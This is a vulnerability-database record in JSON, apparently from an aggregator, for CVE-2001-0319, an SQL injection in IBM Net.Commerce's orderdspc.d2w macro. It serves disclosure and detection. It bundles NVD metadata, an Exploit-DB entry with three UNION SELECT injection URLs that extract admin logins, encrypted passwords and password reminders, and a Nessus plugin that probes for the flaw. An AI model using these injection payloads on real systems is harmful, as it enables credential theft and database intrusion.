{"id": "CVE-2001-0319", "bulletinFamily": "NVD", "title": "CVE-2001-0319", "description": "orderdspc.d2w macro in IBM Net.Commerce 3.x allows remote attackers to execute arbitrary SQL queries by inserting them into the order_rn option of the report capability.", "published": "2001-05-03T00:00:00", "modified": "2017-10-09T21:29:40", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0319", "reporter": "NVD", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/6067", "http://www.securityfocus.com/bid/2350", "http://archives.neohapsis.com/archives/bugtraq/2001-02/0072.html", "http://www-4.ibm.com/software/webservers/commerce/netcomletter.html"], "cvelist": ["CVE-2001-0319"], "type": "cve", "lastseen": "2017-10-10T10:34:42", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:ibm:net.commerce:3.0", "cpe:/a:ibm:websphere_commerce_suite:3.1.2::service_provider", "cpe:/a:ibm:net.commerce_hosting_server:3.1.2", "cpe:/a:ibm:websphere_commerce_suite:3.2::service_provider", "cpe:/a:ibm:net.commerce:3.2::pro", "cpe:/a:ibm:net.commerce:3.2::start", "cpe:/a:ibm:net.commerce_hosting_server:3.1.1", "cpe:/a:ibm:websphere_commerce_suite:4.1::start", "cpe:/a:ibm:net.commerce:2.0", "cpe:/a:ibm:websphere_commerce_suite:4.1::pro", "cpe:/a:ibm:websphere_commerce_suite:4.1.1::start", "cpe:/a:ibm:net.commerce:3.1.1::pro", "cpe:/a:ibm:websphere_commerce_suite:4.1::marketplace", "cpe:/a:ibm:net.commerce:3.1.2::start", "cpe:/a:ibm:net.commerce:3.1.2::pro", "cpe:/a:ibm:net.commerce:3.1::start", "cpe:/a:ibm:net.commerce:3.1::pro", "cpe:/a:ibm:net.commerce:3.1.1::start", "cpe:/a:ibm:net.commerce_hosting_server:3.2", "cpe:/a:ibm:websphere_commerce_suite:4.1.1::pro"], "cvelist": ["CVE-2001-0319"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "orderdspc.d2w macro in IBM Net.Commerce 3.x allows remote attackers to execute arbitrary SQL queries by inserting them into the order_rn option of the report capability.", "edition": 1, "enchantments": {}, "hash": "91dafe01559e27459b4afc3f9087c23c68286d6a1c2eaf4a3131b2df41b8e921", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "1a62d4740614ceb5a9ff79fbc907a542", "key": "href"}, {"hash": "7a74af887a99ca10fa2471408ebbeeb1", "key": "cvelist"}, {"hash": "7c9d4ea2bca5ba2b0fe9a6a25d0923fc", "key": "description"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "f6af80daddc91cd6463edd697c1f2439", "key": "title"}, {"hash": "324283070f9eacfab5d08fb7daf89415", "key": "cpe"}, {"hash": "1146001a7d01649401195721d829b0ee", "key": "published"}, {"hash": "5b3e83489793d07473c638dab2995481", "key": "references"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "3b014ee98763111c66bc9763c3fc9aad", "key": "modified"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0319", "id": "CVE-2001-0319", "lastseen": "2016-09-03T02:56:37", "modified": "2008-09-05T16:23:49", "objectVersion": "1.2", "published": "2001-05-03T00:00:00", "references": ["http://www.securityfocus.com/bid/2350", "http://archives.neohapsis.com/archives/bugtraq/2001-02/0072.html", "http://xforce.iss.net/xforce/xfdb/6067", "http://www-4.ibm.com/software/webservers/commerce/netcomletter.html"], "reporter": "NVD", "scanner": [], "title": "CVE-2001-0319", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T02:56:37"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "324283070f9eacfab5d08fb7daf89415"}, {"key": "cvelist", "hash": "7a74af887a99ca10fa2471408ebbeeb1"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "7c9d4ea2bca5ba2b0fe9a6a25d0923fc"}, {"key": "href", "hash": "1a62d4740614ceb5a9ff79fbc907a542"}, {"key": "modified", "hash": "1f12262466e302b97b0b25696a068be0"}, {"key": "published", "hash": "1146001a7d01649401195721d829b0ee"}, {"key": "references", "hash": "8b6f9dd950fb4a780a21d9b9e5f2a1c1"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "f6af80daddc91cd6463edd697c1f2439"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "38cb565e726461f2cc2f066b5c4ca76fd8787810a1b1189f80502d61ca18e505", "viewCount": 1, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-10-10T10:34:42"}, "dependencies": {"references": [{"type": "osvdb", "idList": ["OSVDB:833"]}, {"type": "exploitdb", "idList": ["EDB-ID:20618"]}, {"type": "nessus", "idList": ["NETCOMMERCE_SQL.NASL"]}], "modified": "2017-10-10T10:34:42"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:ibm:net.commerce:3.0", "cpe:/a:ibm:websphere_commerce_suite:3.1.2::service_provider", "cpe:/a:ibm:net.commerce_hosting_server:3.1.2", "cpe:/a:ibm:websphere_commerce_suite:3.2::service_provider", "cpe:/a:ibm:net.commerce:3.2::pro", "cpe:/a:ibm:net.commerce:3.2::start", "cpe:/a:ibm:net.commerce_hosting_server:3.1.1", "cpe:/a:ibm:websphere_commerce_suite:4.1::start", "cpe:/a:ibm:net.commerce:2.0", "cpe:/a:ibm:websphere_commerce_suite:4.1::pro", "cpe:/a:ibm:websphere_commerce_suite:4.1.1::start", "cpe:/a:ibm:net.commerce:3.1.1::pro", "cpe:/a:ibm:websphere_commerce_suite:4.1::marketplace", "cpe:/a:ibm:net.commerce:3.1.2::start", "cpe:/a:ibm:net.commerce:3.1.2::pro", "cpe:/a:ibm:net.commerce:3.1::start", "cpe:/a:ibm:net.commerce:3.1::pro", "cpe:/a:ibm:net.commerce:3.1.1::start", "cpe:/a:ibm:net.commerce_hosting_server:3.2", "cpe:/a:ibm:websphere_commerce_suite:4.1.1::pro"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-02T14:39:01", "bulletinFamily": "exploit", "description": "IBM Net.Commerce 2.0/3.x/4.x orderdspc.d2w order_rn Option SQL Injection. CVE-2001-0319. Remote exploits for multiple platform", "modified": "2001-02-05T00:00:00", "published": "2001-02-05T00:00:00", "id": "EDB-ID:20618", "href": "https://www.exploit-db.com/exploits/20618/", "type": "exploitdb", "title": "IBM Net.Commerce 2.0/3.x/4.x orderdspc.d2w order_rn Option SQL Injection", "sourceData": "source: http://www.securityfocus.com/bid/2350/info\r\n\r\nIBM's Net.Commerce ecommerce platform supports macros which, by default, do not properly validate requests in user-supplied input. A thoughtfully-formed request to a vulnerable script can cause the server to disclose sensitive system information, including results of arbitrary queries to the Net.Commerce database. This can allow an attacker to obtain an elevation of privileges to that of the DB2INST1 account, and potentially issue arbitrary shell commands as the DB2INST1 user.\r\n\r\nIBM fixed the vulnerable macros they ship with the product in Net.Commerce Versions 3.2 and WebSphere Commerce Suite 4.1. Custom macros created by the user may be vulnerable to this type of attack. WebSphere Commerce Suite Version 5.1 is not vulnerable at all as it does not use Net.Data macros. \r\n\r\nTo obtain the administrator accounts use the following URL:\r\n\r\nhttp://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlogid+as+mestname,0+from+shopper+where+shshtyp+%3d+'A';\r\n\r\nTo obtain the encrypted passwords use the following URL:\r\n\r\nhttp://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlpswd+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';\r\n\r\nTo obtain the password reminders use the following URL:\r\nhttp://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shchaans+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';\r\n\r\n\"orderdspc.d2w\" is not the only vulnerable macro. It is just used as an example. Casting between different data-types is possible. Read the DB2 manual pages.\r\n\r\nIt may also be possible to query other databases. ", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/20618/"}], "osvdb": [{"lastseen": "2017-04-28T13:19:55", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\nSnort Signature ID: 1820\nISS X-Force ID: 6067\n[CVE-2001-0319](https://vulners.com/cve/CVE-2001-0319)\nBugtraq ID: 2350\n", "modified": "2001-02-05T00:00:00", "published": "2001-02-05T00:00:00", "id": "OSVDB:833", "href": "https://vulners.com/osvdb/OSVDB:833", "title": "IBM Net.Commerce orderdspc.d2w order_rn Option SQL Injection", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "nessus": [{"lastseen": "2019-02-21T01:07:44", "bulletinFamily": "scanner", "description": "The macro orderdspc.d2w in the remote IBM Net.Commerce 3x is vulnerable to a SQL injection attack via the 'order_rn' option.\n\nAn attacker may use it to abuse your database in many ways.", "modified": "2018-11-28T00:00:00", "id": "NETCOMMERCE_SQL.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=11020", "published": "2002-06-08T00:00:00", "title": "IBM Net.Commerce orderdspc.d2w order_rn Option SQL Injection", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude( 'compat.inc' );\n\nif (description)\n{\n script_id(11020);\n script_version(\"1.27\");\n script_cve_id(\"CVE-2001-0319\");\n script_bugtraq_id(2350);\n\n script_name(english:\"IBM Net.Commerce orderdspc.d2w order_rn Option SQL Injection\");\n script_summary(english:\"Determine if the remote host is vulnerable to SQL injection\");\n\n script_set_attribute(\n attribute:'synopsis',\n value:'The remote service is prone to SQL injection.'\n );\n\n script_set_attribute(\n attribute:'description',\n value:\"The macro orderdspc.d2w in the remote IBM Net.Commerce 3x\nis vulnerable to a SQL injection attack via the 'order_rn'\noption.\n\nAn attacker may use it to abuse your database in many ways.\"\n );\n\n script_set_attribute(\n attribute:'solution',\n value: \"Upgrade to IBM WebSphere Commerce Suite version 5.1 or later.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:W/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n # https://web.archive.org/web/20010420044017/http://archives.neohapsis.com/archives/bugtraq/2001-02/0072.html\n script_set_attribute(\n attribute:'see_also',\n value:'http://www.nessus.org/u?6bddc034'\n );\n\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2002/06/08\");\n script_set_attribute(attribute:\"vuln_publication_date\", value: \"2001/02/05\");\n script_cvs_date(\"Date: 2018/11/28 22:47:41\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\",value:\"cpe:/a:ibm:net.commerce\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n script_copyright(english:\"This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencie(\"find_service1.nasl\", \"http_version.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/ibm-http\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\n\nport = get_http_port(default:80);\n\nw = http_send_recv3(method:\"GET\", item:\"/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=9';\", port:port, exit_on_fail:TRUE);\n\nres = strcat(w[0], w[1], '\\r\\n', w[2]);\n\nexpect1 = \"A database error occurred.\";\nexpect2 = \"SQL Error Code\";\nif((expect1 >< res) && (expect2 >< res))\n{\n security_hole(port);\n set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);\n}\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}